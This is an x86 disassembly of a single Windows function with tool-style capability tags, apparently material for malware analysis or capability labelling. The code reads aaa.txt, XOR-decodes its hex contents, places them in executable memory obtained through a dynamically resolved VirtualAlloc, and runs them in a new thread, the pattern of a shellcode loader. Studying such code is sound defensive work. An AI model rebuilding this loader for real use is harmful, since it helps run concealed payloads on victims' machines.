Function at 0x401260
Capabilities:
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4026b5
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x404014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.VirtualAlloc
lea ecx, [ebp - 0x64]
call fcn.00401770
push str.Kernel32.dll
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], 0
call fcn.00401770
push str.ShowWindow
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 1
call fcn.00401770
push str.user32.dll
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call fcn.00401770
mov byte [ebp - 4], 3
lea esi, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmovae esi, dword [ebp - 0x4c]
call edi
mov edx, esi
mov ecx, eax
call fcn.00401180
cmp dword [ebp - 0x20], 0x10
lea esi, [ebp - 0x34]
mov ebx, eax
cmovae esi, dword [ebp - 0x34]
call edi
mov edx, esi
mov ecx, eax
call fcn.00401180
cmp dword [ebp - 0x50], 0x10
lea eax, [ebp - 0x64]
cmovae eax, dword [ebp - 0x64]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x186a0
push 0
push 0x404408
mov dword [ebp - 0x14], eax
call sub.VCRUNTIME140.dll_memset
push 0x403220
push str.aaa.txt
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x401575
push 2
push 0
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
push edi
push esi
push 1
push 0x404408
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ebx, eax
add esp, 0x24
cmp ebx, esi
jne 0x40155e
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
cmp ebx, 0xffffffff
je 0x401583
push 0x40
push 0x1000
push 0x186a0
push 0
call dword [ebp - 0x14]
push 0x186a0
mov edi, eax
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
nop dword [eax]
add ecx, 2
cmp ecx, 0x18
jl 0x4013c0
xor edx, edx
test ebx, ebx
js 0x401494
mov esi, edi
mov dword [ebp - 0x14], edi
nop word [eax + eax]
mov al, byte [edx + 0x404408]
mov cl, byte [edx + 0x404409]
xor al, 0xf3
xor cl, 0xf3
cmp byte [edx + 0x40440a], 0
je 0x401491
movsx edi, al
lea eax, [edi - 0x41]
cmp eax, 0x25
ja case.0x401410.71
movzx eax, byte [eax + 0x4016b0]
jmp dword [eax*4 + 0x401694]
mov eax, 0xa0
jmp 0x401447
mov eax, 0xb0
jmp 0x401447
mov eax, 0xc0
jmp 0x401447
mov eax, 0xd0
jmp 0x401447
mov eax, 0xe0
jmp 0x401447
mov eax, 0xf0
jmp 0x401447
lea eax, [edi - 0x30]
shl eax, 4
movsx edi, cl
lea ecx, [edi - 0x41]
cmp ecx, 0x25
ja case.0x401459.71
movzx ecx, byte [ecx + 0x4016f4]
jmp dword [ecx*4 + 0x4016d8]
add eax, 0xa
jmp 0x401483
add eax, 0xb
jmp 0x401483
add eax, 0xc
jmp 0x401483
add eax, 0xd
jmp 0x401483
add eax, 0xe
jmp 0x401483
add eax, 0xf
jmp 0x401483
add eax, 0xffffffd0
add eax, edi
mov byte [esi], al
add edx, 2
inc esi
cmp edx, ebx
jle 0x4013e0
mov edi, dword [ebp - 0x14]
push 0x186a0
push 0
push 0x404408
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
nop word [eax + eax]
add eax, 2
cmp eax, 0x18
jl 0x4014b0
push 4
call fcn.00401b53
mov dword [ebp - 0x14], eax
mov dword [eax], edi
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
push ecx
push 0
push eax
push 0x4018a0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x1c
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40154f
mov byte [ebp - 4], 5
cmp dword [ebp - 0x18], 0
je 0x401547
call dword [sym.imp.MSVCP140.dll__Thrd_id]
mov ecx, dword [ebp - 0x18]
cmp ecx, eax
je 0x40153f
push 0
push ecx
push dword [ebp - 0x1c]
call dword [sym.imp.MSVCP140.dll__Thrd_join]
add esp, 0xc
test eax, eax
jne 0x401537
xorps xmm0, xmm0
mov byte [ebp - 4], 3
push 0x2710
movlpd qword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor esi, esi
jmp 0x401588
push 2
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 5
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [ebp - 0x18], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 0x40322c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
jmp 0x401583
push 0x403224
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
add esp, 4
mov esi, 1
mov ecx, dword [ebp - 0x20]
cmp ecx, 0x10
jb 0x4015bc
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401666
push ecx
push edx
call fcn.00401b83
add esp, 8
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0x10
jb 0x4015fe
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401666
push ecx
push edx
call fcn.00401b83
add esp, 8
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x40162e
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401624
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401666
push ecx
push edx
call fcn.00401b83
add esp, 8
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp ecx, 0x10
jb 0x401676
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40166c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40166c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401b83
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401b45
mov esp, ebp
pop ebp
ret